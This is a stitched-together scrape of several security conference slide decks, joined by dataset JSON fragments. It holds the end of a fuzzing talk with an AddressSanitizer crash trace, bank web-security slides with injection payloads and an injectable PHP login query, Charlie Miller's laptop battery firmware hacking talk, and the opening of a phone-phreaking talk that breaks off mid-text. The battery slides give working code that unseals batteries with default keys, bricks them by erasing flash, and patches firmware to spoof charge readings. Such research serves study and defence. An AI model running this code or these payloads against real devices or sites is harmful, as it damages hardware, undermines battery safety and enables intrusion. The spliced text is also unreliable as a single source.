binpac::KRB_TCP::KRB_Conn::proc_krb_kdc_req_msg(binpac::KRB_TCP::KRB_KDC_REQ*) \n#3 0x16f6038 in binpac::KRB_TCP::KRB_AS_REQ::Parse(unsigned char const*, unsigned char const*, \nbinpac::KRB_TCP::ContextKRB_TCP*, int) \n90 \nIRC Protocol \n91 \nCVE 2018-16807. Packet Example \nSend packet that contains: “353 “ on IRC port 6666 \n92 \nCVE-2019-12175 \n==103310==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55a797d15b75 bp \n0x7ffe14590cb0 sp 0x7ffe14590330 T0) \n#0 0x55a797d15b74 in binpac::KRB_TCP::proc_padata(binpac::KRB_TCP::KRB_PA_Data_Sequence const*, \nanalyzer::Analyzer*, bool) \n#1 0x55a797d3d36a in binpac::KRB_TCP::proc_krb_kdc_req_arguments(binpac::KRB_TCP::KRB_KDC_REQ*, \nanalyzer::Analyzer*) \n#2 0x55a797d3f61b in binpac::KRB_TCP::KRB_Conn::proc_krb_kdc_req_msg(binpac::KRB_TCP::KRB_KDC_REQ*) \n#3 0x55a797d65032 in binpac::KRB_TCP::KRB_AS_REQ::Parse(unsigned char const*, unsigned char const*, \nbinpac::KRB_TCP::ContextKRB_TCP*, int) \n#4 0x55a797d65032 in binpac::KRB_TCP::KRB_PDU::Parse(unsigned char const*, unsigned char const*, \nbinpac::KRB_TCP::ContextKRB_TCP*) \n#5 0x55a797d69717 in binpac::KRB_TCP::KRB_PDU_TCP::ParseBuffer(binpac::FlowBuffer*, \nbinpac::KRB_TCP::ContextKRB_TCP*) \n#6 0x55a797d69717 in binpac::KRB_TCP::KRB_Flow::NewData(unsigned char const*, unsigned char const*) \n93 \nDEMO \n(example of CVE 2019-12175 DoS in Zeek) \n94 \n95 \nList of Bugs Found \n96 \nBugs \nProject \nCVE-2019-6931, CVE-2019-7310, CVE-2019-9959 \nPoppler for Linux \nCVE-2018-17019, CVE-2018-16807, CVE-2019-12175 \nZeek for Linux \nCVE-2019-XXXX, CVE-2019-XXXX \nAwaiting assignment from MITRE and fix from \nmaintainer \n7-Zip 19.00 for Windows \nCVE-2019-XXXX, CVE-2019-XXXX, CVE-2019-XXXX \nAwaiting assignment from MITRE and fix from \nmaintainer \np7zip 16.02 for Linux \nCVE-2019-XXXX, CVE-2019-XXXX \nAwaiting assignment from MITRE and fix from \nmaintainer \nUnarchiver for MacOS \nDiscussion & Future Work \n●\nAFL’s forkserver is strongly required \n●\nAdd Intel PTrace support \n●\nMore mutation algorithms \n●\n+ structure-aware fuzzing \n●\nBetter MacOS support \n●\nBetter network fuzzing support \n●\nCLANG-based instrumentation \n97 \nConclusion \n●\nFuzzing is #1 technique for vulnerability research in memory-unsafe \nlanguages \n●\nManul is a fully functional tool for efficient coverage-guided \nfuzzing. \n○\nMultiple third-party mutators, volatile paths suppression, \nefficient parallelization algorithm, blackbox binaries fuzzing \n●\n13 new bugs in 4 widely-used open-source projects. \n●\nPull & try! https://github.com/mxmssh/manul \n●\npip install psutil & git clone https://github.com/mxmssh/manul \n98 \nThank you! \n99 \nhttps://github.com/mxmssh/manul \nTwitter: https://twitter.com/MShudrak \nLinkedin: https://www.linkedin.com/in/mshudrak/"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":46,"cells":{"text":{"kind":"string","value":"1\nSecurity Advisory:\nBanks Security (Web)\nMilitan.c7\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n2\nDEMO1\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n3\n• function focusWin()\n{window.focus();\n…\nwindow.location.href = \n\"http://www.banksa.com.au/business/busin\ness-banking-online/user-\nguide/?source=applet&origin=CBS\"\";\n//document.write(\"http://www.banksa.com.au\n/business/business-banking-online/user-\nguide/?source=applet&origin=CBS\"\");\n}\nwindow.onload = focusWin; \nPDF created with pdfFactory Pro trial version www.pdffactory.com\nDEMO2\nHack bank\n4\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n5\n• result = expression1 & expression2 \n• FillForm & Response.write(\"ccccc\") ‘\n• FillForm & Response.write(\"ccccc\") \n%0d%0a Response.write(\"kerker\") ' \nPDF created with pdfFactory Pro trial version www.pdffactory.com\n6\nIntroduction\n• Bank Web sites full of security holes, \nUniversity of Michigan survey finds\n• Comments: this data is outdated. \nPDF created with pdfFactory Pro trial version www.pdffactory.com\n7\nBanks in Taiwan\n• Exploit\n• Error message\n– No\n– Strip\n– Full of Error\n• Information Disclosure\nPDF created with pdfFactory Pro trial version www.pdffactory.com\nResponse(Not ALL)\n• We`re \nSECUUURRRRREEE\nEEEE!!!\n…You dxmn hacker! \nAsk for accusation, huh? Fxck! \nPDF created with pdfFactory Pro trial version www.pdffactory.com\nQ:SxCK HACKER!\nA:Im not cracker.\nQ:我們已經掌握你的姓名,mail跟單位!\nA:是我寄給你的..\nQ:保安~!保安~!\nA:\n9\nPDF created with pdfFactory Pro trial version www.pdffactory.com\nForget it.\nI`m so kind.\n10\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n11\n<? …\n$sql=\"select * from vvvvv where a='\".$a.\"' and \nb=\".$b.\" and passwd=password('$passwd') \";\n…\n$_SESSION[‘b']=$b;\n$_SESSION[‘adminlogin']=“True\";\nmysql_close($link);\nheader(\"location: ccccc.php\");\n}else{\nmysql_close($link);\nheader(\"location: ddddd.php\");\n}\n?>\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n12\nPress Release \n• xx銀行採用xx解決方案，提供Web內容與應用的\n安全防護與控管功能，並大幅加快員工網路應用\n存取時間。 相關人員表示：「為提昇客戶服務品\n質，網路存取效能及安全性對銀行而言非常重要。\nxx的產品不僅符合我們在規格、產品、售後服務\n等方面的要求，更完善規劃了未來的應用建議。\n自去年導入xx產品後，不僅提升內部網路內容傳\n送速度，也協助我們成功地阻擋病毒、惡意和間\n諜軟體等攻擊。」\n• xx的產品具備了高效能、高擴充性及可升級的代\n理伺服器平台體系，可保障網路通訊安全並加速\nWeb應用傳輸。\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n13\nPress Release \n• xx提供一個最佳的Web安全解決方案，可以讓企\n業防護內部與外部Web安全威脅，xx具備間諜軟\n體（spyware）、惡意程式碼（MMC）、網路釣\n魚（phishing）以及網址嫁接（pharming）等攻\n擊與威脅，不同於其他解決方案，xx可以阻擋間\n諜軟體與keylogger透過後門通道而與其外部的任\n何伺服器聯繫。此外，目前只有xx提供a、b與c等\n服務，以協助防護企業的網站與品牌。\n• xx銀行定期漏洞檢查、入侵偵測防護與防毒掃描：\n以安全軟體，監控網路活動，杜絕可能的攻擊\nPDF created with pdfFactory Pro trial version www.pdffactory.com\nTruth.\n14\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n• Banks Like:\n– Product\n– Solution\n– License\n– Ad\n15\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n16\nFunny\n• Arch Info\n• SPLIT\n• Trust\n• Stealth\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n17\nDiscussion\n• Exploit\n– Input handle\n– Authentication, Access control, Logic \nflow, Session, Web Server Security \n– Dir Traversal & File Download?\n– Login Field\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n18\n• Fallacy\n– Secure the Entrance\n– Programming Integrity\n– Multiple Service\n– Parameters\n– Architecture\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n19\n• Fallacy 2 \n– Entered, Trust \n– Both Convenience\n– Nothing = Secure\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n20\n• Common Mechanism\n– ASP\n– PHP, JSP\n– SQL\n– CGI \nPDF created with pdfFactory Pro trial version www.pdffactory.com\n21\n• Unusual\n– Index Server\n– Xpath\n– LDAP\n– Gridview\n– NET AJAX Control Toolkit \n– Flash + XDP\n– ashx, Jsf, shtml(SSI), SOAP,etc\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n22\n• Secure: Banks in Japan, 40hrs.\n– Parameters\n– Static \n– Single Entrance, Diff Hosts\n– Forget Password\n– Disclosure?\n• HSBC.\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n23\n• Tool\n– Tamper Data, Live HTTP Headers\n– Perl, wget\n• No Burp / Webscrab\n• Sample : Nation > 5. (subjective)\n• Feb & May, leisure time\nPDF created with pdfFactory Pro trial version www.pdffactory.com\n24\nConclusion\n• Severe Problem\n• Hackers wither, Crackers burgeon\n• Security Advisory\nPDF created with pdfFactory Pro trial version www.pdffactory.com"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":47,"cells":{"text":{"kind":"string","value":"Battery Firmware Hacking\nCharlie Miller\nAccuvant Labs\ncharlie.miller@accuvant.com\n@0xcharlie\nAbout me\nFormer US National Security Agency researcher\nFirst to hack the iPhone and G1 Android phone\nWinner of CanSecWest Pwn2Own: 2008, 2009, 2010, 2011\nAuthor\nFuzzing for Software Security Testing and Quality \nAssurance\nThe Mac Hacker’s Handbook\nPhD, CISSP, GCFA, etc.\nSomething different\nhttp://www.youtube.com/watch?v=jjAtBiTSsKY\nAgenda\nBasics on smart batteries systems\nA journey into a MacBook’s battery’s (lack of) security \nmechanisms\nPotential impact\nSmart battery\n“Safety is a primary design goal in the Smart Battery System \nspecifications. The central concept behind the Smart Battery \nspecifications is locating the primary intelligence of the system \ninside the battery pack itself. This enables the system to be \nmuch more accurate in measurement of battery parameters such \nas remaining capacity and design voltage, and also allows the \ncharging algorithm and parameters to be tuned to the battery \npack’s specific chemistry. By relying on the battery pack’s \nintelligence, a properly designed Smart Battery system will safely \ncharge and discharge any expected battery chemistry.”\n- Smart Battery System Specifications document\nSmart batteries\nHave an embedded controller which communicate with \nthe charger and host\nHas a responsibility to maintain safety\nCan be configured for different parameters/chemistries\nPossible Battery Attacks\nBrick battery on victim\nReprogram to remove safety features and allow \nexplosion (thermal runaway)???\nPersistent DOS to OS\nPersistent backdoor to OS (requires kernel bug)\nTPM, BIOS sniffer\nSpoiler\nI didn’t blow up batteries\nDidn’t do too much twiddling of parameters in my \nhouse\nWould like to continue to take my laptop on airplanes\nMight be able to take this work and do it\nHow to start\nI suck at hardware, so look for associated software\nBattery updater\nLots of calls to a function \nthat basically wraps \nIOConnectMethodStructure\nIsStructure\nThis is a function which \npasses data to a driver\nThe driver in this case is \nAppleSmartBatteryManager\nAppleSmartBattery\nIs part of PowerManagement package\nsource code available, but won’t compile\nmissing many things, but lots of nice info in headers\nMore battery updater\nIt does things like read the device name and compare \nto a list of devices to update or not (DeviceNameCmd)\nRead and check firmware version and pack lot code \n(ManufactureDataCmd)\nAnd some other ones that aren’t defined in the header \nfile\nOne odd thing\nWhat’s up with 0x3672 and 0x0414?\nGoogle!\nDouble win!\nWe now know its some kind of Texas Instruments chip\nWe also know Apple used the default Unseal key\nWe can verify that Apple also used the default Full-\nAccess key\nThanks!\nWhich chip?\nIts a long story...\nEach chip returns slightly different data flash lengths \nfor each “subclass”\nI wrote a script to get these values and then manually \nlooked for this “fingerprint” in all the TI design docs\nEventually found one that matched\nNote: I really don’t like to mess with hardware!\nData flash signature\n0: 22\n1: 25\n2: 10\n3: 1\n...\nBehaves like a \nTI bq20z80\nThe right way to do it\nStep 2\nStep 3\nLithium Polymer cells\nElectronics\nStep 4\nChips \nand stuff\nStep 5\nTI bq29312\nStep 6\nTI bq20z80\nTI bq29412\nAnother clue I missed\nFrom AppleSmartBatteryCommands.h\nSigh, I suck\nDigression\nWe now know what kind of hardware is on the battery\nWe can get data sheets for it\nWe can see how to talk to the driver which talks to the \nbattery\nWhat kinds of things can we say to it and how does it \nwork?\nSmart Battery System (SBS)\nSMBus\nCommunicate via System Management Bus (SMBus)\nTwo-wire interface based on i2c\nFormat of data outlined in Smart Battery Data \nSpecification\nMac OS X\nApple provides a kernel module, \nAppleSmartBatteryManager, which allows writing to the \nSMBus\nAccess is not raw\nI developed an API to document this and make it easier\nReleasing it after this talk\nSMBus API example usage\nSLUU276\nDocument outlines all \nSBS commands\nDocuments DataFlash\nFor bq20z80-V100 + \nbq29312A chipset\nThat’s us!\nLots to do!\nThere are many \ninteresting writable \nconfiguration values\nDesign capacity\nFET control\nDesign voltage\nDevice chemistry\nCell overvolt threshold\nPack overvolt threshold\nOvercharge threshold\nOvertemp threshold\n2nd level voltage \nthreshold\n2nd level charge \nthreshold\n2nd level temp theshold\nImpedance table\nTemp model\nTwiddle-twiddle\nI played with these values but \nnothing too interesting happened\nIt still stopped charging when it \nwas really supposed to do so\nNeeded to dig deeper\nunseal\nfull access\nBoot ROM\nDifferent modes\nSealed\nUnsealed\nFull Access\nConfiguration\nBootROM\nSealed\nFrom the factory\nOnly standard (not extended) SBS commands available\nStandard commands only have read access\nUnsealed\nAccess to Data Flash space\nAccess to some extended SBS commands\nSome SBS commands have read/write access\nApple battery firmware updates enter this mode\nFull access mode\nAll SBS commands\nAll commands have read/write access\nCan enter BootROM and Configuration mode\nApple firmware updates do not enter this mode\nConfiguration mode\nBy issuing SMBus commands (see slua355b) you tell \nthe battery what levels of current, voltage, temp it is \ncurrently receiving\nIt then makes internal changes to align itself with these \nvalues\nwrite_word(0, 0x40); //enter calibrate mode from full access mode\nwrite_word(0x63, n); //n = number of cells\nwrite_word(0x60, n); \n//n = current\nwrite_word(0x61, n); \n//n = voltage\nwrite_word(0x62, n); \n//n = temp\nwrite_word(0x51, 0xc0d5); //calibrate device.\nread_word(0x52, y); \n//y = bit field, whats calibrated. (poll with this)\nsend_byte(0x72); \n //transfer results to data flash\nsend_byte(0x73); \n //exit Calibration mode.\nOther calibrations?\nYes, I’m a prodigy\nBoot ROM mode\nAllows low level access to device, direct access to data \nflash and firmware\nbq20z80-V110 + bq29312A Chipset Technical \nReference Manual does not document it\nTime to buy some hardware, sigh\nbq20z80evm-001\nAn evaluation system for the bq20z80/bq2312a/\nbq29400 smart battery chipset\nAlmost exactly the chipset on the Apple Macbook \nbattery\nComes with Windows software to interact with it via \nUSB\nMy test rig\nThe software\nRead/write SBS\nData flash\nPro\nHell yea\nRaw SMBus commands\nFirmware flash\nEVM\nIt can flash the firmware with a “srec” file which comes \nwith the kit\nNeed to sniff what it’s doing so we can figure out \nbootROM mode and copy it\nsenc files\n“encrypted” SREC file\nWhere encryption = fancy xor magic\nSREC files contain\nSome header stuff\nFull data flash\nInstruction flash\nChecksums\nIntrospection\nWrote a PyDbg script \nwhich intercepted data \nbefore going over USB\nCould compare this data \nto the raw read/writes on \nPro screen\nInterpret data during \nreprogramming\nSome analysis\nSMBus command\nRead word: 0x8\nWrite word: 0x4\nRead block: 0x2\nWrite block: 0x5\nGoogle again\nGoogling these types of commands, numbers revealed \nthe bq803xx ROM API v3.0 User’s Guide\nThis documents the layout of the firmware as well as all \nthe Boot ROM routines\nEVM Programming SENC\n<Version>\n<Smb_FlashMassErase>\n<Smb_FdataEraseRow>(0200)\n<Smb_FdataEraseRow>(0201)\n...\n<Smb_FdataEraseRow>(023e)\n// program flash data\n<Smb_FdataProgRow>(00)\n<Smb_FdataProgRow>(01)\n...\n<Smb_FdataProgRow>(1a)\n<Smb_FdataProgRow>(30)\n<Smb_FdataProgRow>(31)\n...\n<Smb_FdataProgRow>(37)\n<Smb_FdataChecksum>\n// program flash code\n<Smb_FlashProgRow>(0002)\n<Smb_FlashWrAddr>(0002)\n<Smb_FlashRowCheckSum>\n<Smb_FlashProgRow>(0003)\n<Smb_FlashWrAddr>(0003)\n<Smb_FlashRowCheckSum>\n...\n<Smb_FlashProgRow>(02ff)\n<Smb_FlashWrAddr>(02ff)\n<Smb_FlashRowCheckSum>\n<Smb_FlashProgRow>(0000)\n<Smb_FlashWrAddr>(0000)\n<Smb_FlashRowCheckSum>\n<Smb_FlashProgRow>(0001)\n<Smb_FlashWrAddr>(0001)\n<Smb_FlashRowCheckSum>\nErase everything\nProgram 0x38 rows of flash data\nProgram 0x300 rows \nof instruction flash\nBoot ROM - mostly ok\nSee how to write to Boot ROM - except what’s up with the \nchecksums and stuff...\nCan probably figure out how to read from Boot ROM from the \ndoc, although no live examples\nCan also probably get all data flash, not just the SBS \naccessible stuff\nCan see what the instruction flash looks like by recording the \nSMBus writes during EVM reprogramming\nNeed to know what kind of machine code is in there!\nBattery chemistry\nSmart battery chipsets should be able to work with \nbattery cells of various chemistries\nSettings on the device can be configured for different \n(or unique) chemistries\nNo documentation of what values these are or how to \nset them\nEvaluation kit can do it\n!\nSniff the chemistry change\nWrite 0x52 bytes to subclass 83 (undocumented)\nWrite 0x50 bytes to subclass 84 (undocumented)\nWrite 0x1e bytes to subclass 85 (undocumented)\nWrite 0x20 bytes to subclasses 88-95 (R_a tables)\nCell impedance\nWrite 0x40 bytes to subclass 80 (IT Cfg)\nImpedance Track algorithm parameters\nSubclass 83\nSeems to be a bunch of signed shorts\nFirst is chemistry ID\nRest are decreasing values, presumably a voltage \ngraph of some kind\n3500$\n3600$\n3700$\n3800$\n3900$\n4000$\n4100$\n4200$\n4300$\n1$\n2$\n3$\n4$\n5$\n6$\n7$\n8$\n9$ 10$ 11$ 12$ 13$ 14$ 15$ 16$ 17$ 18$ 19$ 20$ 21$ 22$ 23$ 24$ 25$ 26$ 27$ 28$ 29$ 30$ 31$\nUndocumented subclasses\nTry to read every subclass ID, record which ones \nrespond, compare to documentation\n6 undocumented subclasses\n57, length 10\n65, length 5\n66, length 10\n83-85, chemistry related\nRead Flash\nReading Boot ROM API and watching EVM, we can \nfigure it out\nBelow is for Instruction Flash\nRead Data Flash\nInstruction Flash Contents\nWe’d like to disassemble the firmware\nNeed to know what kind of chip it is for\nTried all the ones in IDA Pro, none disassemble well\nLet’s ask TI!\nThanks...\nPlz!\nGo away, kid\nNo worries\nMostly binary stuff\nWhat’s with the 3’s?\n3 byte aligned\nProbably 3 byte \naligned, in reverse \norder\nHigh nibble is \nalways 0,1,2,3\nProcessor with 22 \nbit words?\nThe end\nEnds in 23 ff ff\nThen lots of 3f ff ff...\nLots of ends?\n410 instances of 23 ff ff\nSpread throughout file\nret instruction?\nBack to google\nOne last google\nThe processor in the bq20z80 is a CoolRISC c816 (or \nis functionally equivalent)\nCoolRISC 816\n8-bit micro controller\nHarvard RISC-like architecture\nFlash data max size: 64k, Flash instruction: 64k 22-bit \ninstructions\n16 8-bit registers\nNo IDA-Pro support\nRISC architecture \nis gonna change \neverything\nMore on registers\nData Memory Addressing Modes\nMOVE r0, (i0, 0x7e) r0 = *(i0 + 0x7e)\nMOVE r0, (i3, r3) r0 = *(i3 + r3)\nMOVE r0, (i0, 0x7e)+ r0 = *(i0); i0 += 0x7e\nMOVE r0, -(i0, 0x7e) i0 -= 0x7e; r0 = *(i0)\nInstruction set\nIDA processor script\nIDA!\nCreate a few small sections, one for data, one for instructions\nMore IDA\nInitial disassembly doesn’t do so good\nWe know instructions are 22-bit, 3 byte aligned\nDisassemble at every 3rd byte using Python script\nSome SBS commands\nBoot ROM Problems\nNow can dump and disassemble the instruction flash\nCan dump data flash for examination\nHave seen how to flash entire device\nConsecutive dumps of instruction flash are not identical\nTrying to make changes to firmware sometimes brick \nthe device\nTrying to flash device bricks it\nExpensive hobby\nI was ordering these two at a time!\nBattery wasteland\nTry an off-market knockoff\nActually had a different unseal password, couldn’t hack it!\nFix #1\nTurns out that the SMBus Boot ROM reads are not \nalways dependable\nThis is not good if you patch by reading a row, \nmodifying it, and updating it\nNow my code verifies consecutive reads agree\nread_firmware(\"hotel.fw\");\nread_flash_data(\"hotel.data\");\nread_firmware(\"hotel2.fw\");\nread_flash_data(\"hotel2.data\");\nBetter reading\nmd5sum hotel*fw\n01d2f382b8e2633032f48b2c3bbfd900 hotel.fw\n01d2f382b8e2633032f48b2c3bbfd900 hotel2.fw\n$ diff hotel*data.txt\n1c1\n< 00000000 01 71 ff 6c 0f f1 0e 74 2f c7 2b 5c 09 f6 ff f8\n---\n> 00000000 01 71 ff 6c 0f f8 0e 74 2f d7 2b 5c 09 f6 ff f8\n3c3\n< 00000020 db 45 02 58 00 00 00 00 00 00 00 00 00 00 00 00\n---\n> 00000020 db 45 02 59 00 00 00 00 00 00 00 00 00 00 00 00\n11c11\n< 000000a0 0e 00 02 00 00 01 10 05 00 02 00 01 0e 00 00 f9\n---\n> 000000a0 0e 00 02 00 00 01 10 05 00 02 00 01 0f 00 00 f9\n77c77\n< 00000700 db 45 02 58 00 00 00 00 00 00 00 00 00 00 00 00\n---\n> 00000700 db 45 02 59 00 00 00 00 00 00 00 00 00 00 00 00\n79c79\n< 00000720 ff ff ff ff 00 00 04 e6 ff ff fb 18 04 e6 fb 18\n---\n> 00000720 ff ff ff ff 00 00 04 e9 ff ff fb 15 04 e9 fb 15\nProblem 2\nIf you patch a few bytes from the firmware, the battery \nstops working properly\nOS queries PFStatus (SBS 0x53) and sees that \nDataflash Failure (DFF) flag is set\nFrom the doc:\nDataflash\t\n Failure—\t\n The\t\n bq20z80\t\n can\t\n detect\t\n if\t\n the\t\n DataFlash\t\n is\t\n not\t\n operating\t\ncorrectly.\t\n A\t\n permanent\t\n failure\t\n is\t\n reported\t\n when\t\n either:\t\n (i)\t\n After\t\n a\t\n full\t\n reset\t\nthe\t\n instruction\t\n flash\t\n checksum\t\n does\t\n not\t\n verify;\t\n (ii)\t\n if\t\n any\t\n DataFlash\t\n write\t\ndoes\t\n not\t\n verify;\t\n or\t\n (iii)\t\n if\t\n any\t\n DataFlash\t\n erase\t\n does\t\n not\t\n verify.\nReversing checksum\nOne of the ROM entry point functions is \nFlashChecksum\nThis function is called twice\nOnce for SBS command ManufactureAccess, \nsubcommand 0x22\nOnce in another function...\nChecksum checker (old)\nChecksum checker (new)\nDisable checksum\nOlder: Set stored checksum in data flash to 00 00 00 \n00\nNewer: Set “encoded” checksum to “encoded” 00 00 \n00 00, i.e. set to 00 3f f7 ff\nTurn off encoding of checksum and set to 00 00 00 \n00?\nThese require a Boot ROM data flash write\nWithout Boot ROM\nYou can dump the data flash, do all the SBS data flash \nreads, and find where the checksum lives in an SBS data \nflash subclass\nTurns out the address corresponds to (undocumented) \nsubclass 57\nDisable checksum in unseal mode:\nPatch it!\npatch_firmware function patches instruction flash at a \ngiven address\nReads in two consecutive rows (verifying as it reads), \nmakes changes, writes both rows, verifies changes\ndiff hotel-nop.fw.txt hotel.fw.txt\n4602c4602\n< 00011f90 3f ff ff 3f 01 02 03 ff ff 3f ff ff 3f ff ff 3f\n---\n> 00011f90 3f ff ff 3f ff ff 3f ff ff 3f ff ff 3f ff ff 3f\nNow what?\nCan make arbitrary changes to SBS parameters\nCan make arbitrary changes to data flash and \ninstruction flash\nWe need to understand the interactions between the \nbattery and the host/charger\nSniffing SMBus\nBought some (more) hardware\nBus pirate\nSaleae logic analyzer\nBeagle i2c/SPI Protocol Analyzer\nNeed to figure out which connections to battery are i2c \nand how to connect to it while battery is connected to \nlaptop\nSpaghetti wire fail\nSoldering fail\nDon’t be afraid\nIt’s the red and orange\ni2c decoding\nWrite, SBS command 0x8 (Temperature)\nResponse, 0xb73 = 293.1K = 67.9F\nWrite, SBS command 0x14 (Charging current)\nResponse, 0xd48 = 3400 mA\nBeagle\nBeagle data\nMore sniffing\nFor an hour I recorded SBS traffic while charging with \nlaptop power off\nSaw queries for:\nBattery Status, Temp, Charging current, Current, \nVoltage, Battery Mode, Relative State of Charge, \nRemaining Capacity, Full Charge Capacity\nThe only ones changing were:\nT, C, V, RSoC, RC\nTime ticks\nVoltage, Current, Remaining Capacity\nImplications\nBrick the battery\nChange the battery’s characteristics\nAttack the OS\nBricking is easy\nLots of ways to brick the battery, here’s one way\nunseal(0x36720414);\nget_full_access(0xffffffff);\n// Enter BootROM mode\nwrite_word(kManufacturerAccess, 0xf00);\n// erase all instruction flash\nwrite_word(kSmb_FlashMassErase, 0x83de);\n// flash execute, i.e. run firmware\nsend_byte(kFlashExecute);\nFirmware changes\nIt might be interesting to see if we could change the \nway the battery responds to queries\nThings like RC, FCC, V, etc\nAll the things queried have SBS command between 3 \nand 0x16\nThere is one function which handles these requests\nSwitch on i2h less than 0x1c\nSMBus MITM\nRemaining Capacity (0xf) -> Manufacturer Date (0x1b)\nFull Charge Capacity (0x10) -> Serial Number (0x1c)\nManufacturer Date and Serial Number are R/W word (in \nunsealed mode)\nNot actively queried or used\nCase 0xf - 0x10\nThis sets up then reads from hardware and sends \nresponse (in different basic block)\nWe redirect to cases 1b-1c\nint worked = patch_firmware(0xdbb1, (unsigned \nchar *) \"\\xf3\\xc5\\x0e\\x95\\xb6\\x33\", 6, 0);\nPatching row 0x249 at offset 0x51\nResult\nRemaining Capacity: 0x202a \nFull Charge Capacity: 0x73cc \nGot manufacture date 0x202a\nGot serial number 0x73cc\nAnother change\nRelative State of Change (0xd) -> Remaining Time \nAlarm (0x2)\nPatching code\npatch_firmware(0xdbc0, (unsigned char *) \n\"\\xf6\\x05\\x0e\\xba\\xb6\\x36\\xf2\\x05\\x0e\n\\xb8\\xb6\\x36\\xcc\\xb6\\x33\\xec\\xc5\\x0e\n\\x95\\xb6\\x33\\xf4\\x35\\x0e\\xdc\\xb6\\x33\", 27, \n1);\npatch_firmware(0xdb2a, (unsigned char *) \n\"\\xbf\\xb6\\x33\", 3, 1);\nReuse extra space\nRe-sniffing\nShows all values queried are fixed\nWe can set all the values to arbitrary values\nSome must be the same as others\nValues can be changed while battery is charging “on \nthe fly”\nChanging values does affect amount of current \ndelivered to battery\nDeal breaker?\nMU092X Thermal cutoff\nFYI: I didn’t see these on the off market battery! \nAttacking the OS kernel\nBattery communicates with the OS on a “trusted \nchannel”\nBy issues raw i2c/SMBus data, could potentially exploit \na vulnerability in the OS kernel\nFuzzing the SMBus\nTwo options\nWrite a fuzzer in CoolRISC assembly and fuzz from \nthe battery\nFuzz with a “emulated battery” via hardware\nCaulkgun\nSeal up your battery by changing full access password\nDoesn’t affect any existing Apple firmware updates\nCannot be reversed\nIf future Apple Battery Firmware update requires full \naccess, the update will fail\nCaulkgun source - guts\n#include <time.h>\n#include <stdlib.h>\nint main(){\nsrand(time(NULL));\nunsigned int r = rand();\nunseal(0x36720414);\nget_full_access(0xffffffff);\nwrite_block(kFullAccessKey, &r, 4);\nseal();\n}\nMore info\nTools, slides, whitepaper:\nThanks\nQuestions?\ncharlie.miller@accuvant.com"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":48,"cells":{"text":{"kind":"string","value":"Mysteries of the Phone \nSystem Past and Present\nPatrick McNeil \n@unregistered436\nOwen\n@LinuxBlog\nViews and opinions are those of Patrick \n& Owen and do not represent past, \npresent, or future employers.\nAll Service Marks, Trademarks, and \nCopyrights belong to their respective \nowners.\n\"Get this and get it straight… \nCrime is a sucker’s road, and \nthose who travel it wind up in the \ngutter, the prison, or the grave.\"\n-Opening of the Philip Marlowe radio show\nThe Original Philip Marlowe - Humphrey \nBogart from “The Big Sleep”,1946\n(46 / 2 = 23)\nWhy are we doing this?\n● Phreaks as the original electronics \n“hackers”\n● It’s a way of thinking...\n● VoIP wasn’t designed for security\n● Mysteries of the past can help you \nunderstand the present - let us be \nyour guide…\nWhat we’ll cover\nHistory\nInfo Leakage\nExploitation\nFraud & Abuse\nPoC Tool Demo\nOther \nWhich may include famous \nmovie stars and propaganda \nUser Dialing\n● Strowger switch - alternating current \npulses & mechanical cylinder switch \nper digit\n● First user dialing enabled - exchange \nname converted to number to dial in \nsmall area\nCarrier Growth Drives Innovation\n●\nBurgeoning operator workforce growth\n●\nPanel & Crossbar “common control” built \nnumber in sender then processed\n●\nThe 4A crossbar and card control\nPOP QUIZ!\n●\nQ: SF and MF - what tone critical? XXXX \nHz?\n●\nQ: What was the design flaw that \nrevolutionized the industry?\nIt’s TRUE mom, \nthe DEF CON \nGoons are SO \ndreamy!\nIntroducing Asterisk!\nAsterisk Created in 1999\n-\nNow developed by Digium\n-\nGPL\n-\nLatest Stable: 13.0.0 (24 October 2014; 4 months ago)\n-\n11.13.1 (20 October 2014; 4 months ago)\nNumerous Books published\n-\n2005 - Building Telephony Systems with Asterisk (PACKT)\n-\n2007 - Asterisk for dummies published\n-\n2007 - Asterisk Hacking published\n-\nAsteriskBook (AsteriskDocs.org)\nAMI\nAGI (http://www.voip-info.org/wiki/view/Asterisk+AGI)\nYou can do some cool stuff with it.\nAsterisk variants...\nFreePBX\nAsterisk@Home\nTrixBox\nPBX In a Flash\nElastix\nAskoziaPBX\nAsterisk for Raspberry Pi \n(http://www.raspberry-asterisk.org/)\nOlivia de Havilland in The Dark Mirror, 1946\n(46 / 2 = 23)\nAttack vs Defense\nAl Capone\nJ Edgar Hoover\nInformation Leakage\nWhat: When a system that is \ndesigned to be used only by \nauthorized parties reveals the \nusage, equipment, location, \nor entities using the system, \netc. to an unauthorized party.\nRise of the Phreaks\nPhreaks:\n● Social engineered operators\n● Phone techs\n● In-band clicks & tones\n● Open technical journals\n● Exhaustive dialing of numbers\n● Shared on looparounds & \neventually conf calls\n● Underground papers\nThe World Finds Out\n● Secrets of the Little Blue Box, 1971 Esquire article introduced \nworld to “Phreaking” - such as Joe Engressia, Mark Bernay, and \nJohn Draper \n● Phun stuff like joke-lines were a \nToS violation\n● See “Exploding the Phone” by \nPhil Lapsley\nPhoto taken from wideweb.com/phonetrips\nEvolution of VoIP\n● Common Channel \nInteroffice Signaling \n(CCIS)\n● Personal computers came \nout, and if switches can use \nmodems…\n● IP enabled transport of \nALL data, including voice\n● Analog systems got IP cards \n● All IP developed PBX, with \nseparate gateways for analog \nconnections, consumer \nMTAs with analog ports, etc.\n● Virtualization made PBX \naccessible to all\nInformation Leakage\nNow: Still just as easy! The curious can play \nin a VM at home or get inexpensive trunk \nservices. Just like early phreakers - read, \nlisten, enumerate!\n● Port scanning\n● SIP stack & OS \nfingerprinting\n● Extension enumeration\nSIP & SDP\nINVITE sip:19195551223@defcon.org SIP/2.0\nVia: SIP/2.0/UDP 